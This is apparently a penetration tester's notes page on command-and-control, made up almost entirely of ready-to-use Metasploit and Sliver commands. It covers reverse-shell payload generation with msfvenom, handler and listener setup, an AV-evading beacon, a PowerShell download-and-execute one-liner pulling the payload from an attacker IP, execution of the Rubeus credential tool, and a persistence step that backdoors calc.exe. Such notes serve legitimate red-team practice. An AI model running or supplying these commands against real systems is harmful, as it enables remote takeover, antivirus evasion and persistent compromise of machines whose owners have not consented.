// notes/ Exploitation & Tooling
📡
Command & Control (C2)
Notes on C2 frameworks and post-exploitation command-and-control.
#c2#post-exploitation
Command & Control (C2)
Metasploit
https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/
🐺 howlsec@kalicode
01msfvenom -p linux/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f elf > shell-x64.elfmulti handler:
🐺 howlsec@kalicode
01use exploit/multi/handler02set lhost eth003set lport 44304runbasic navigation and session management:
🐺 howlsec@kalicode
01ctrl + z02search shell_to03use 004sessions05set session 506run07sessions 6single port forwarding:
🐺 howlsec@kalicode
01portfwd add -l 1234 -p 8080 -r 127.0.0.1Sliver
https://www.youtube.com/watch?app=desktop&v=FYWGhdaDcZo https://www.youtube.com/watch?v=eZOeF-3qMtg https://www.youtube.com/watch?v=eotEvAZw5Lc&list=PL0UJtYdHHM46sIZbkieIe6BhKzfu4QOI9&index=4
Setup:
🐺 howlsec@kalicode
01./sliver-server02new-operator --name arcos --lhost localhost03multiplayer04armory install allPayload beacon, bypasses AV:
generate beacon --os windows --arch amd64 -m 192.168.1.42:53 -f shellcode -s /tmp/uwu.bin --skip-symbols -S 5
🐺 howlsec@kalicode
01msfvenom -p generic/custom payloadfile=/tmp/uwu.bin -a x64 -f psh -o /tmp/uwu.ps1🐺 howlsec@kalicode
01iex (iwr -usebasicparsing <http://192.168.1.42/uwu.ps1>[)]Assemly in process execution:
execute-assembly -i -E /opt/tools/windows_privesc/Rubeus.exe klist
Listeners, status, and navigation:
🐺 howlsec@kalicode
01mtls -l 5302https -l 44303jobs04beacons05shell🐺 howlsec@kalicode
01beacons rm02session -KPersistance (incomplete):
profiles new --format shellcode --mtls 192.168.1.42:53 profile1
backdoor --profile profile1 "c:\windows\system32\calc.exe"